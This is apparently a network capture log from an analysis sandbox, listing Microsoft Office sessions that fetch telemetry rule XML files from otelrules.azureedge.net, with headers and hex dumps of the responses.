2024-11-16 03:34:16 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:16 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 4df37937-b01e-003d-35ab-2bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033416Z-16547b76f7fwggrphC1DFW2a8s0000000170000000001x8e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49956	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:16 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:16 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033416Z-16547b76f7fffb7lhC1DFWdsxg00000002b000000000hked x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49958	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:16 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:17 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:16 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 14be5296-801e-008c-31af-367130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033416Z-16547b76f7fp6mhthC1DFWrggn0000000p4g00000000ewec x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49959	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:16 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 29f76c25-201e-0000-6fd2-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033417Z-16547b76f7fhvzzthC1DFW5570000000029g00000000dute x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49960	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:17 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: ff648744-f01e-0096-2ca0-3410ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033417Z-164f84587bf5rpzqhC1DFWmra800000002a0000000004fmc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49961	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:17 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:17 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033417Z-1866b5c5fbblmztchC1DFWs6v400000000x0000000000msa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49957	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:17 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:17 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033417Z-16547b76f7fffb7lhC1DFWdsxg00000002f00000000048qn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49962	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:17 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:17 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033417Z-1866b5c5fbbwlv6nhC1DFWw4bs00000000mg00000000kadp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49963	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:17 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: e36af508-601e-0001-7d3a-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033418Z-1866b5c5fbb8pmbjhC1DFW6z0c00000002ag0000000070cv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49964	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:18 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:18 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 2117b026-901e-0029-37af-36274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033418Z-16547b76f7f775p5hC1DFWzdvn0000000p2g000000009b07 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49965	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:18 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: c87ec88a-b01e-00ab-2cb9-36dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033418Z-16547b76f7f9bs6dhC1DFWt3rg0000000p0000000000fkr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49966	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:18 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:18 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: d7b14c3d-501e-0047-0581-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033418Z-16547b76f7fp6mhthC1DFWrggn0000000p5000000000ef86 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
